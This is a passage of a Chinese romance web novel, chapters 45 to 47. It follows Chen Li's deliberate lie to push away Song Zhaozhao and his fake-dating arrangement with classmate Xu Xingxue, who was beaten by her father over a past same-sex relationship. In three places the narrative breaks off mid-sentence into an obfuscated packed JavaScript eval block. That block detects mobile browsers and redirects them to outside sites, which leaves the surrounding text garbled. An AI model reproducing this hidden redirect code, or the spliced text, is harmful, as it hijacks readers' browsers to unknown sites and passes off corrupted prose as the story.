身体都快都成筛子了,宋昭昭喉咙紧得发不出声。 身侧的陈历因为失神没有第一时间注意到她的异常,待他反应过来后,忙握住宋昭昭两只瘦削的胳膊,神情紧张:“你怎么了?” “昭昭,你别吓我,你怎么了?是觉得冷吗?” 宋昭昭摇头:“我不知道。” 她只觉得身上的力气在被慢慢抽走,情绪经过大起大落,整个人摇摇欲坠。 她渴望能有人接住她。 义无反顾、忠心耿耿地接住她。 但,没有。 陈历眉头紧,担忧的视线紧紧盯着宋昭昭,他说:“你觉得冷的话,我们现在立刻离开天台,好吗?” 宋昭昭摇头。 影影绰绰的光落在她身上,宋昭昭思忖几秒,说:“陈历哥哥,我想回家。” 45. 第四十五章 45 陈历送宋昭昭回了家。 市中心的小区处在繁华地段,交通便利,资源丰富,生活设施一应俱全,三公里内光是大型超市和商场就有五六家。 夜深之后,高楼大厦亮起绚丽霓虹,将黑夜照得如同白昼。 小区绿化率高达32%,沿途栽种的一列列枝繁叶茂的大树,为业主提供清新空气和良好的生态环境。 除了树,小区内也种了不少花。每年到了花期,绣球花、樱花、梅花……各个品类的花次第开放,看得人眼花缭乱。 宋昭昭是个热爱生活又乐于分享的女孩子,先前就拍过小区种植的花树照片传送给他。 她说他学业繁忙、功课辛苦,常年累月盯着文件和电脑屏幕,免不了眼睛干涩,头晕脑胀,应该多看些花草树木,净化心灵。 她说得头头是道,陈历总哑然失笑,看起来不情不愿地答应她:【谨遵教诲。】 扭头就建立了一个相册,专门存放她发过来的花花草草的照片。 小区环境优美,居住也更舒适。 宋昭昭他们搬过来之后,时不时邀请董莲和他过来小聚。他常年在校,来的次数不多,因而对小区内部并不太熟悉。 以前都是宋昭昭跟在他身后亦步亦趋,小心翼翼地偷瞧他的背影。 今夜,转换成他寸步不离地走在宋昭昭身后,跟着她七拐八拐地走到一栋高楼前。 他幽深的目光始终追随她的背影,表情晦涩不明。 思绪被这抹近在咫尺的背影牵扯着,陈历脑海中闪过无数个他们相处的画面。 初见时,宋昭昭才十多岁,心智未开的年纪。脸上挂着稚气未脱的婴儿肥,一双大眼睛明亮澄澈。 她不太懂得隐藏情绪,开心、难过、沮丧、生气都会不加遮掩地挂在脸上。偏偏性格执拗,有时和父母发生争执后明明委屈得要落泪,却死死咬住嘴唇不肯低头。 那会儿的她朝气蓬勃,活泼开朗,叽叽喳喳有很多话要讲,对学习也不那么上心,父母督促一下,她才会动一下,抱着“得过且过”的念头在初中心安理得地混着。 整个人由内而外散发出“无忧无虑,生活美满”的幸福状态。 陈历一直觉得这样很好。 没有遭遇过风吹雨打,做一朵养在温室里骄矜的花,有人疼,有人爱,有人为她操心,有人为她铺路,她无需为未来不确定的生活做一些坏的预想,让自己平白生出忧愁和焦虑。 她信奉“船到桥头自然直”,每天笑嘻嘻地混日子,最大的烦恼无非是—— 数学题为什么那么难?英语单词为什么总记不住? 陈历自家中突遭变故后,对待人事物的看法已经变得不那么纯粹。 尽管外形依旧保持着清爽干净的少年气,但他心如明镜,自己的心智已经渐渐变老了,为人处世也慢慢往成年人的计较得失靠。 他深知自己再做不到“无思无虑”,因而面对宋昭昭的童稚时,他也同长辈一般,小心翼翼地呵护她这份难能可贵的纯真烂漫。 可后面不知怎么,宋昭昭忽然之间跟脑子开窍了似的,嘴里叨叨着要好好学习,争取考上市一中。 宋父宋母调侃说:“你要能考上市一中,那真是祖坟冒青烟咯!” 宋昭昭不甘示弱,头悬梁锥刺股,做了无数个日夜的努力,终于将市一中的录取通知书甩到他们面前。 她双手叉腰,骄傲地抬抬下巴,扬声道:“怎么样,我厉害吧。” 当然厉害。 从学校中游的水平提高到中上游,再努力挤进市一中的大门,过程中付出的艰辛恐怕常人难以想象。 玩归玩,学归学,她能做到收放自如,当然厉害。 厉害到陈历觉得她不止应该得到“胜不骄败不馁”的劝导,“再接再厉”的鼓励,还更应该得到一些实质性的奖励。 于是,他提出请她吃饭。 那天傍晚,橘子味的晚霞铺满天际,独属于夕阳的金辉任风吹拂,霞光好似湖面泛起的层层涟漪,波光粼粼。 路上行人步履不停,他走到约定的地点,远远看见宋昭昭的身影。 她穿一条小白裙赴约,靓丽的黑发没有被发绳规矩地拢在脑后,而是柔顺地披在肩头。嘴上涂了口红,温柔的豆沙色色调,衬得她格外温婉娇美。 晚风一吹,发丝飘扬。 彼时的她,女性特征逐渐明显,身材婀娜多姿,个子也长高不少。婴儿肥慢慢褪去后,那张白皙清纯的脸足以勾走路上行人的视线。 她静静地站在他面前,脸上染上一坨淡淡的红晕,甚至比天边的晚霞还要夺目。 陈历情不自禁多看了两眼。 宋昭昭的害羞实在显而易见,揪着裙角的小动作、低垂的眼眸、微张的嘴巴,全都泄露了她的紧张与期盼。 他亦同样心跳加速,以一股无法掌控的速度在胸腔内蹦跳。 陈历难以平稳疯狂跳动的心脏,只能转移话题请她进店吃饭,以此来掩饰他难以言喻的慌张。 途中,他不止一次抿唇,克制地挪开停留在她身上的视线。 自从他去往康平读大学,两人见面的机会骤然减少,每次回家在楼道里撞见,他都能轻而易举地发现她外貌和身高的改变。 便是连性格上的稚气也如玻璃窗上的灰尘,被岁月的雨水冲洗不少。 但变化最大的,还是随着她成长而逐渐变得明显的女性特征。 陈历意识道,自己不能再像以前那样把她当成小孩子看待了。 她长大了,长成亭亭玉立的姑娘。 十几岁的年纪,正是芳心萌动的好时光,宋昭昭身材苗条,脸蛋清秀,举手投足间女性魅力自然而然向外散发。 她美丽大方,性格爽然,理所应当吸引了同年龄段男生的好感。 高一下册,他回学校看望老师,偶然撞见过一回。 红色塑胶跑道上,班级四十位同学成对阵排列,宋昭昭和陈蓓说说笑笑,打打闹闹,全然没有发现站在她身后不远处的男生,目光牢牢锁定在她身上。 少男的心思赤诚热烈,陈历几乎一眼便能辨认出他的情谊。 也是那次,陈历亲眼见证在学校和同龄人相处的宋昭昭,见过她随心所欲地追逐打闹,见过她笑容洋溢地撒娇玩笑。 那些她最真实、随性的一面,与在他面前的怯生生全然不同。 陈历尚未迈出去的脚步顿在半空,好长时间走也不是,留也不是。 直至阳光照进阴暗的器材室,他逐渐心生退意。 今晚宋母的一番言辞,无疑给他来了当头一棒。 尽管她没有恶意,但心思细腻如陈历,他几乎可以预见,如果将来继续给宋昭昭希望,她将面对怎样的狂风暴雨。 所以,他截断了宋昭昭的话,要她将那个秘密永远守住。 只要他们之间没有捅破最后一层窗户纸,那他们或许……可以做永远的朋友。 - “陈历哥哥,你要上去坐会儿吗?” 走到单元楼前,宋昭昭向陈历发出邀请。只是这一回,她的眼眸中不再有殷切的期盼,就连问话也是最简单的客套。 声音有些沙哑,夹杂着着不易察觉的哽咽。 从风光路回市区的路上,他们并肩坐在的士后排,宋昭昭全程背对他,面朝窗外,目光呆滞地看沿途飞掠的景色。 她抱着那束茉莉花,下颌轻轻蹭了蹭花朵,模样看起来有几分可怜。 陈历好几次想脱口而出:不是的。那些话并不是我本意。我没有喜欢别人,我也没有交女朋友。 那然后呢? 继续给她希望吗?要让她一直为他等候吗? 他咽了咽喉腔里的苦涩,嘴巴张了又合,合了又张,最终还是理智占据上风,镇静地将那些解释压了下来。 正所谓不破不立。 今天他撒了这个自认为“善意的谎言”,宋昭昭为此心碎,难掩眼泪,但她深知高考的重要性,颓废几天终将收拾好心情埋头苦学。 丢掉那些让她感到压抑的包袱,从此轻装上阵,或许才能走得更轻快、从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405698|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容。 所以,忍一忍吧。 哪怕看见她的悲伤与痛楚,哪怕担心她摇摇欲坠的身心,哪怕无法与她溢满泪水的双眸对视,也请忍一忍。 忍住想要拥抱她的冲动。 剜去那些陈年旧痂,一切都会好起来的。 “我就不上去了,你帮我跟叔叔阿姨带声好。” 陈历站在离她两步远的地方,伸手便能够到的距离。他深沉的视线在她脸上缓缓扫过,同样嘶哑的嗓音被晚风卷着钻进她的耳朵。 “哦,好。” 宋昭昭怔了一下,后迟钝地点了点头。 她有气无力地回应,说话的音量太低,陈历若不是注意力全集中在她身上,恐怕也要错过她的回答。 人已经送到单元楼楼下,两人相看无言。 明明可以互相挥手作别,偏偏他们都默契地站在彼此对面,哪怕一句话不说,哪怕什么都不做。 他们大概也意识到,这一次的转身意味着什么。 时间流逝,宋昭昭嘴唇微启,刚要说点什么,手机骤然响起一阵铃声。 欢快的音乐并不适合此刻的氛围,“咚咚咚”的节奏似乎在催促她回家,宋昭昭瞄一眼屏幕,迅速接过电话。 她“嗯嗯嗯”敷衍了几句,眼神时不时瞟向陈历。他却错开了她的视线。 宋昭昭只好敛了眼眸,对电话那端的人说:“妈,我已经在小区楼下了,马上回家。” 到了不得不分别的时刻。 宋昭昭垂下眼睛,眼眶已经溢满泪水,鼻尖酸涩,明显被难过包裹。 她的睫毛轻轻眨了一下,再抬头时已然摆出笑容:“今晚麻烦你了,陈历哥哥。” 陈历一愣,注视着她摇了摇头,温声道:“不麻烦。” 宋昭昭:“希望你接下来的生活一切顺利。” “还有,谢谢你的茉莉。” 说罢,她头也不回地往楼里走去。走到大门口,明暗交界的一条线落在她身上,陈历终是出声喊住了她。 宋昭昭回头。 他说:“高考加油,得偿所愿。” 对于一位高考生而言,这八个字算得上是最简单诚挚的祝愿。 宋昭昭点头,说:“谢谢。” 她再次抬脚,径直走到电梯前,按下按键。她一动不动地站在原地,嘴角上扬的弧度慢慢压下去,最终压成一条平直的线。 从她的角度往外望去,已经看不到陈历的身影。 方才那块地空空荡荡,唯余婆娑树影在地面摇曳,他离开的速度居然比想象中还要快。 那种影视剧里分别,男女生一步三回头的画面,终究是她的美好幻想。 宋昭昭努了努酸涩的鼻子,松垮下肩膀,所有的活力仿佛被瞬间抽走似的,她感到前所未有的疲倦。 难言的低落情绪将她深深掩埋。 宋昭昭浅浅叹了口气,轻轻眨了下眼睛,一滴泪就这么猝不及防地从眼角滚落。 单元楼外,陈历并没有走远,他绕到楼房前面的小凉亭,坐着抽了一根又一根的烟。 他眼前是林立的高楼,夜深,居民家中灯火昏暗,唯有几户夜猫子亮着灯。宋昭昭上楼后没多久,她房间的灯随之亮起。 陈历将目光投向远处,商场霓虹绚丽,娱乐场所的招牌挂在最顶端。那些五光十色便是由一摞摞钱币堆叠起来的。 他在凉亭呆坐着,指间夹着一根烟,静静地放空自己。 烟雾缭绕,陈历仿佛看见多年前,夕阳西下,天际被晚霞染红,暑气总算随着落日跃入云层后面消散了一些。 他在帮忙搬家具,一趟一趟地来回,额头沁出薄薄的汗液。 停下来喝水的时候,余光里看见一位女孩背着书包,跑过陡峭的上坡,蹦蹦跳跳地来到风光路尽头。 那天,是他们的初相见。 当时,他冥冥之中有股预感,他和这个女生之间,或许会发生些故事。 几年过去了,今夜莹白的月光洒过两个人的肩头,不知算不算是给他们写下一个结局。 46. 第四十六章 46 周一晚,陈历回了A大。 徐行雪在他上飞机前敲了敲他:【家里事情处理完没有?都消失好几天了,导师找你。】 陈历回她一句:【晚上就回。】 得到他即刻回校的消息,徐行雪主动请缨:【我来接你。】 徐行雪是康平本市人,本科在康平的985,当初保研进的A大。 她家境不错,父母本职工作都是律师,家里开了一间小律所,收入可观,在她大三那年就给配了一台奔驰大G,方便她周末开车回家。 读研时,学校给每位学生都分配了宿舍,徐行雪也要了一间,但并不常住。 陈历跟她是同班同学,又都在同一位导师门下,平时交集不少。 徐行雪这人豪情仗义,大大咧咧,写论文和大作业时,陈历帮她找过几回资料,她开始与人称兄道弟。 陈历性子冷淡,并不与人亲近。徐行雪屡次邀约,请客吃饭,他都以“没空”拒绝了。次数多了,徐行雪觉察出点不寻常。 她这人凡事不内耗,直接开门见山:“你是讨厌我,还是不喜欢女生啊?” “都不是。” 陈历的回答同样言简意赅。 “那行。”徐行雪听完他的回答,沉默一瞬,眼睛忽然就亮了,她清清嗓子道,“我看你也不像是个多嘴的人,我跟你说个秘密。” 陈历拒绝:“不行。” “为什么?” 陈历:“你的感觉不准,我容易泄密。” 其实他只是不想与人交浅言深。 陈历自考研成功,一门心思钻入功课,除了做课题、写论文,还在校外接了一些辅导和翻译的工作,忙得脚不沾地,没空听人秘密。 更何况他不认为他们之间的关系,已经亲密到可以倾听彼此秘密的程度。 徐行雪才不搭理他,笑了声又问:“你不想知道我的秘密,那帮我个忙,总行吧?我可以按照市场价格付你工资的。” 据她所知,陈历在校外的律所接了不少工作,没日没夜地干,看起来像是挺缺钱的。 而她有的是钱。 徐行雪不觉得有钱便是万能的,也并不觉得数以万计的钱能砸得动陈历。 不过她习惯合作,习惯借外力达成自己的目的。两个人目前各有难处,不如强强联合,各取所需。 毕竟老话讲,合作共赢。 听到这话,陈历饶有兴致地掀了掀眼:“什么忙?” “做我男朋友。” 徐行雪不加任何铺垫,大大方方地说出了她此行的最终目的。 彼时的陈历正在电脑上写材料,听了她的话,不免觉得滑稽,他嘴角上翘,干笑一声,随后不假思索地用键盘打出两个字,然后把屏幕转向她。 徐行雪定睛一看—— 不行。 “为什么啊?”几次三番被拒,徐行雪陡然抬高了音量,诧异地睁圆了眼睛,“我打听过你,你现在单身,没有女朋友,你舍友还说你未来几年都不准备谈。” “而我,目前研究生还没有毕业就开始被家里人催婚,他们烦人得紧,我只想随便找个人敷衍他们。” “我可以付你工资,按照市场价三倍,考虑一下不?” 听罢,陈历眉梢轻抬,微微一笑:“这话听起来,怎么像是买我的意思?” “那哪能啊,这叫合作共赢!” 徐行雪溜须拍马有一套,轻眨了眨睫毛谄媚道:“你现在可是咱们导师面前的大红人,他很看重你,总说你前途无量。或许不久的将来,你将进入国内的红圈所,成为赫赫有名的陈Par,经手的资产数十、几百亿,到时候,哪里看的上我这点小钱。” “我可买不起您。” 话都改用了尊称,可见徐行雪极其认真、诚恳地想要他答应此事。 然而陈历不为所动,他把电脑一合,面无表情道:“虽然假装成为你的男朋友不吃亏,你付市场价的三倍工资听起来也很令人很心动,但……抱歉。” “我不能答应你。” 徐行雪蔫儿了,她耷拉着眼皮,紧追在他身后,坚持要问一个理由。 陈历耸耸肩:“没有理由。你去找别人帮忙吧。” 行。 徐行雪这人身上虽有点富贵人家娇惯出来的高傲自大,但她有一点好,陈历拒绝帮她这个忙,她不会缠着让人家为难。 “行。那我再想想办法吧。” 徐行雪伸了个绵长的懒腰,大手一挥走出图书馆,留给他无比潇洒的背影。 - 结果没过两天,徐行雪就顶着两个硕大的巴掌印重回图书馆。 她挺胸抬头、目不斜视地走过自习室,埋头刷题的同学听见动静,都不免视线追随她。徐行雪所到之处,引起一阵不小的骚动。 不知她是心理强大到已经不在乎外界的指指点点,还是因为心如死、灰无所畏惧,那些审视的目光落在她身上,哪怕像鞭子一样抽疼,她都能够做到视若无睹。 她穿过嘈杂的人群,再次坐到了陈历面前。 陈历正在写材料,懒洋洋掀眼,刚要开口询问“没完没了”瞧见她脸上清晰的巴掌印,直接被吓了一跳, 他收回吐槽的话,停下鼠标键问:“被谁打的?” 徐行雪闭口不谈。 两人对面而坐,眼神在半空交汇。 尽管徐行雪抿着唇,倔强地一声不吭,可陈历仍是从她无焦点的眼神中,读出那么一点哀伤的意思。 他们坐在不起眼的小角落,哪怕一言不发。可同学们八卦、好奇的目光不会放过他们。 毕竟男帅女美,光是坐在一起就像本跌宕起伏的小说,女生脸上两个鲜明红肿的巴掌印更为这本小说增添了可读性。 陈历环顾四周,看见已经有看热闹不嫌事大的同学拿出手机拍摄视频。 他一记眼刀飞过去,对面拿手机的手被吓得抖了一抖。 静默了片刻,陈历握着鼠标点击保存文件,拎起电脑包,带徐行雪出了图书馆。 学校里来来往往都是人,几乎走到哪里都有驻足的眼光。他们想找一个相对安静、私密的谈话地点,只能去校外。 陈历把电脑和书籍放回宿舍后,徐行雪开车带他去了清吧。 进入清吧后,徐行雪轻车熟路地先走向角落的座位,叫来服务员,呼啦啦点了一堆小食和酒,又将酒水单推至陈历面前。 “想吃什么随便点,我请客。”她豪迈地说道,嘶哑的嗓音像是大哭过一场。 陈历眼都没撇一下,合上酒水单,要了两瓶牛奶。 待所有菜品和酒水都上齐后,陈历打开牛奶,插入吸管,放在桌面推给了徐行雪。 “等会儿喝酒不想我拦着你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405699|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就先把牛奶喝了。” 他语气平淡,并不十分强硬的态度,可徐行雪一听就知道,若是她不喝这瓶牛奶,桌上的酒,陈历也不会让她沾一滴。 迫于陈历的威吓,徐行雪只能不情不愿地接过那瓶奶,咬着吸管小口小口地喝。 喝完后,她随手拿过起子,轻轻松松翘开了两瓶金酒,给面前两个空杯倒满,一杯拿在手里,一杯推给陈历。 她也不管陈历喝不喝,直接对着他的那个杯子虚虚地撞了下,发出清脆的声响。 “干杯。” “今天晚上我们不醉不归!” 她声音高亢,整个人处于一种既兴奋又压抑的状态,任谁都能一眼看出她的不对劲。 陈历眼眸微眯,拿起酒杯浅浅抿了一口。 他浅尝辄止,想着等会儿总要留一个人清醒地收拾残局。 徐行雪连续喝了好几杯酒,脑袋开始发沉,晕晕乎乎,睁着一双猩红的眼睛看他,问:“你不问我吗?” “问什么?” “问我为什么会搞成这么一副糟糕的模样。”她又仰头灌了一杯,喝得又急又猛,喉管不小心被呛到,咳得脖颈处青筋暴起。 陈历蹙眉,给她抽了两张纸巾,提醒:“你慢点喝,我今天有的是时间听你说。” 玩笑般地补了一句:“不用你付市场价,免费。” 当今社会发展,各类新型职业如雨后春笋冒了出来。最热门的一个职业便是“陪护”。具体可分为陪诊、陪打、陪玩、陪喝…… 现在的清吧或酒吧,若是客人一个人前来,基本可都能提供陪喝的服务。 员工收小费,与客人喝酒、玩游戏,听人诉苦、流泪,适当地时候递一张纸巾足矣。 此话刚落下,徐行雪“噗嗤”一声笑了出来。酒水飞溅,有两滴坠到她的嘴角,她觉得尴尬难堪,伸手去擦,擦了还有,她累得抬不起手,“嗷”一声哭了出来。 嘴角溢出的烈酒与湿咸的泪水交织着,徐行雪开始含糊不清地讲话。 她说:“这两个巴掌,全是我爸打的。”边说,边在他面前将脸翻了个面,露出占了大半张脸、骨节分明的巴掌印。 陈历“嗯”了声。 猜也猜得出来。 徐行雪家里有点小钱,父母背后的关系硬,从小养尊处优,呼风唤雨,养成嚣张跋扈的性子。在外面,几本没人能将她欺负了去。 可她此刻被人扇了巴掌,不仅没有破口大骂、愤愤不平,反而红着眼眶无处可去,想来应该是和家里闹了矛盾。 但什么样的矛盾,会让她父亲下此重手,一点情面也不留? 徐行雪紧接着说:“他们又催我谈恋爱,这次周末回家,背着我给安排了相亲。” 陈历拧眉。 他想不通,像徐行雪这般的高知家庭,也会对孩子催婚吗?还是她身上有联姻、壮大家族的重大使命? 陈历目光沉稳地望向她。 无外乎联想到一些影视剧里极具压迫感的家族,对女性行使权力,要她们拿婚姻、子女为家族铺路。 然而徐行雪的下一句话直接掀翻了他的猜想,让他平静无波的眼神终于起了一丝波澜。 “你知道他们为什么这么迫不及待想要我找个男朋友吗?” 徐行雪冷笑一声。 “因为,他们怕,怕我跟前女友复合。” 47. 第四十七章 47 前……女友? 时间静止一瞬,周遭粗犷的音乐与喧哗的人声绵绵不断地灌入耳朵,远没有方才那一句“前女友”令人震撼。 陈历捏酒杯的手悄悄收紧,眸中闪过一丝诧异。 他这些细碎的情绪被掩藏得很好,外人根本瞧不出方才那一刻他内心的巨震。并且不用半分钟,他已经将这个消息完全消化。 彼时的他,与徐行雪做了半年多的同学,两个人大部分的交集都在功课和学业上,走出教室,他们的生活好像两条不相交的平行线。 在此之前,他们的对话一只手都能数得过来。若非上回徐行雪横冲直撞地挡在他面前,让他假装当她男朋友,陈历或许都不曾注意到她。 “没什么好惊讶的。” 徐行雪将酒杯搁到桌面,靠着椅背后仰,大大方方且自信从容地说,“像我这么漂亮、高学历,家庭条件还不错的女生,打小就有不少人追。” “追我的男生中不乏多金帅气的,他们或儒雅、或痞气、或温柔,每个人都很有魅力,但很奇怪,我对他们提不起丝毫兴趣。” “用文绉绉的说法,就是内心那点心动的涟漪,根本都没泛开过。” “我曾尝试过,答应他们的约会,密室逃脱、剧本杀、电影院,在这些私密的场所与他们制造肢体接触,借此去刺激我的荷尔蒙和爱欲。” “都没用。” 徐行雪凌乱的头发披散在面前,她觉得烦闷,透不过气,挥手将它们从前面撩至耳后,露出一张喝得红扑扑的脸。 清吧柔和的灯光自头顶打下来,一双溢满眼泪的双眼,顷刻间变得水汪汪。 她重新坐直身子,给自己又倒了满满一杯酒,她抿了两口,最后长舒一口气,陷入绵长的回忆里。 “这种不曾心动的状态维持到我大二那年,我遇见我的前女友。” “我俩是在家族聚会上认识的,她比我大两岁,是个极其温柔、具有气质的姐姐。她很漂亮,见到她的第一眼,我的神魂都被她牵走了。那种小说里常写的‘心跳漏了一拍’的感觉,我终于也体会到了。” “我对她,算是一见钟情吧。” 徐行雪自由自在地活了十几年,难得有心脏猛烈撞击的感觉,这份感觉就像一根牵引绳,她被牢牢圈住,吃喝拉撒,无时无刻不想着对方。 徐行雪不想错过这份难能可贵的心动,于是对姐姐展开猛烈追求。 姐姐内敛骄矜,从开始的断然拒绝到后面抵抗都变得力不从心,再到最后,抱着她说:“我也好喜欢你。” 过程一波三折,但结果非常令人满意。 她当真追到了日思夜想的漂亮姐姐。 她喜欢她,她好喜欢她。 徐行雪对姐姐格外珍重,也尤其珍惜这段感情。她们瞒着家里人谈了将近两年的恋爱,直到夏日的一次家庭聚餐,众人在别墅院子里烧烤,发现独独少了她们。 于是大家上楼寻找,呼唤她们下楼吃烤肉。却不料推开少女温馨的卧室,亲眼目睹两人亲得难舍难分。 这一幕直接将两家人的表面和谐冲个粉碎,指责声、谩骂声,尖锐又刺耳的声音混杂在一起,冲击着她们的耳朵。 徐行雪被家人勒令和姐姐分手。 徐行雪扬着倔强的下巴,不从:“我就是喜欢她,我不分!” “不分也得分!” 在家里一向威严的父亲沉着脸,甩给她一句命令式的话语。他气哄哄地冲出卧室,擦肩而过的瞬间,他从鼻腔里哼出一句。 “不学好,废物东西。” 她拧着脖子,满脸不服。可她能犟到哪里去,一旦父母停了她的卡,她连活着都困难。 姐姐那边同样压力重重,她被父母扭送去国外留学,连一句再见都没来得及说。 双方家长默认给她们时间冷静,也用这漫长的一生去淡化这段感情。 一个月、一年、两年、五年……只要时间够久,总能放下的。 虽说她们出生在高知家庭,父母有文化、有远见,在许多方面已经超越普通父母,给了她们呵护与尊重。 但在恋爱这件事上,他们仍旧像一根朽木,传统顽固。 他们认为子女应该结婚,而结婚这事,该由男女共同完成,生育下一代,传递香火。 两位女性在一起,必然如同飞蛾扑火,最终的结果是——自取灭亡。 徐行雪唯一的优点是聪明,学习从小到大就遥遥领先,考上A大研究生之后,给老父亲面上添了不少光。 因此家中聚餐,依旧会领着她去参加,只不过家人的目标从让她参加酒局、结交朋友,变成了介绍差不多年龄的异性给她认识。 他们如此自以为是,认定性取向是可以扭转的。 于是自撞破她和姐姐亲吻的场景后,马不停蹄地给她介绍男友、安排相亲,徐行雪不禁冷笑。 这个世界上恐怕没有任何人的父母会比她爸妈更夸张,迫不及待想要将女儿嫁出去。 这次回家,他们又在她不知情的情况下领回来一位男生。 对方是985大学的研究生,毕业后来到父亲的律所实习,家境虽不如徐行雪殷实,但胜在人踏实机灵,样貌也能打个八分。 父亲几番考察后,认定他未来大有所为,遂带他回家,兴冲冲地安排两人见面。 这些流程走了一遍又一遍,徐行雪早就心如止水。 真正令她爆发的,是他父亲在她面前诋毁姐姐,因为姐姐比她大两岁,他便将一切罪责推到姐姐身上。 他骂她是□□。 徐行雪再憋不住,砸了几件花瓶,扯着嗓子与父亲争辩不休,两人吵得面红耳赤,父亲直接抬手,甩了她两个巴掌。 力道之重,她的脸当下就肿了。 徐行雪委屈至极,她跑出家门,她想买一张飞机票去国外找姐姐。 但她现在手里头能支配的钱早就被管控,她甚至离不开康平这一座城市。于是,方向盘在她手中打了个弯,她开回学校,找到陈历。 光影交错,陈历淡淡问出声:“你接下来怎么打算?” 他对于徐行雪的遭遇只短暂地惊讶了几秒钟,而后恢复得体、礼貌的社交,出于关心,他还是问了她的计划。 他不认为徐行雪的父亲会善罢甘休,同样,他也不认为徐行雪会忍气吞声。 徐行雪与他对视一眼,耸耸肩道:“我本来是想假装谈个男友,先稳住他们。” 陈历:“然后呢?” 徐行雪挠挠头,模样颇有些苦恼,她单手托腮,音量都矮了几分:“我想先申请留学。等争取到公费留学的名额后,离开这里。” 陈历认真思索了半晌,点点头,问:“可你的卡被他们停了,如何支付我的费用呢?” “嗯?” 徐行雪先是一愣,后又震惊地抬头。双眸亮晶晶的,里面还挂着眼泪,被脸上的两个巴掌印衬得格外可怜。 “你,你是答应我了?” 陈历不置可否。 徐行雪来兴致了,搓搓手向前倾身,郑重回答:“我现在是没多余的钱支付你的报酬,但我可以给你写欠条。待我日后在国外混得风生水起,必然百倍千倍报答你。” “我徐行雪说到做到!” “不需要。”陈历笑一笑,拒绝。 “啊?” 徐行雪皱皱巴巴地拧眉,感情刚才这段话是在耍她玩呢? “不用你支付报酬,因为,我可能也需要借你‘男朋友’的名义一用。”陈历敛下眼眸,饮了口金酒,淡淡回道。 只是他没想到,这个名义这么快就被他用上了。 陈历回程途中,靠窗而坐,飞机陡然升高的片刻,机舱内发出一阵慌乱的抖动。周边人全都捏紧了扶手,神色紧张。 他额头抵着窗户,俯视脚下这片土地。 槐城离他越来越远,远到他瞧不清市中心那片繁华地段的高楼,陈历仰头,缓缓闭上了眼睛。 他隐隐有种直觉,他离他的茉莉,越来越远了。 这一次,是他亲手将她推出去的。 - 徐行雪在机场接到陈历,从他淡漠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405700|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神情中明显感觉到他情绪不佳。她打着方向盘行驶在马路上,等到了红绿灯前,不动声色地转过头,盯着陈历看。 视线瞟到他紧皱的眉头,徐行雪几次欲言又止。 陈历闭着眼小憩,听到身侧传来一阵细细簌簌的动静,直接开口:“想问什么就问。” 他的声音哑得不像话。 “你这次回去,是为了那个邻居小妹妹吗?”徐行雪问。 几天前,徐行雪本来想请陈历出去吃晚饭,被他以要去图书馆学习拒绝了。等到深夜,他却突然拨来电话,人已经在赶往机场的路上。 “我有事回家一趟,导师那里麻烦你帮我解释两句,有需要处理的文件直接发我邮箱。” 徐行雪觉得意外。 平日里陈历对学习和项目最上心,无论发生任何大小事,他每天雷打不动地泡在教室和图书馆,现在居然舍得请假。 并且是先斩后奏。 徐行雪问他:“发生什么事情了吗?我要怎么跟导师讲?” 陈历沉默。 徐行雪继续追问:“家里遇到麻烦了?有没有我能帮得上忙的?” “不是。”陈历否认她的猜想。 回家的原因他没有具体讲明,但如果不是家里的事情,徐行雪很难想象一个稳如山的人会打破自己的原则,打断自己的计划,特意赶回家一趟。 为了谁? 思来想去,徐行雪的脑海里倏地蹦出一张稚嫩、青涩的脸庞。 陈历这人向来不近女色,开学以来拒绝过不少为他芳心萌动的女生,徐行雪先前还误以为他对女生没兴趣,所以才找上他假扮男友。 直到后来,他们达成协议,接触逐渐变多,陈历也不再将她当作普通需要防备的同学,她偶然在他的手机上看见了一位女孩子的照片。 徐行雪犹如发现新大陆,好奇且兴奋地追着他要答案,陈历平淡地丢给她一句。 “邻居家的小妹妹。” 语调虽没有起伏,可她敏锐地捕捉到陈历介绍那位小女生的时候,嘴角微微翘了起来。 徐行雪抿着嘴,故意揶揄他:“只是妹妹?” 陈历一声不吭。 她咧嘴笑,继而意有所指地哼起歌:“她只是我的妹妹,妹妹说紫色很有韵味,她只是我的妹妹,我在担心你是否误会……” 唱完了戳戳他的肩膀,玩笑道:“好歹我现在是你名义上的女朋友,你在手机里不存放自己女朋友的照片,却放着别的女生的照片,是不是说不过去啊。” 说着,徐行雪找出好几张自认为漂亮的照片,传送给陈历。 “收好了啊,指不定哪天用得上。” 该说不说,徐行雪的嘴就跟开过光似的灵验。 天台那晚,陈历就是拿先前徐行雪硬拉着他保存下来的照片骗过宋昭昭的。 徐行雪坐在主驾驶座开车,抽空追问几句,陈历怕她分心,危险驾驶,言简意赅地跟她讲明了这几天发生的事情。 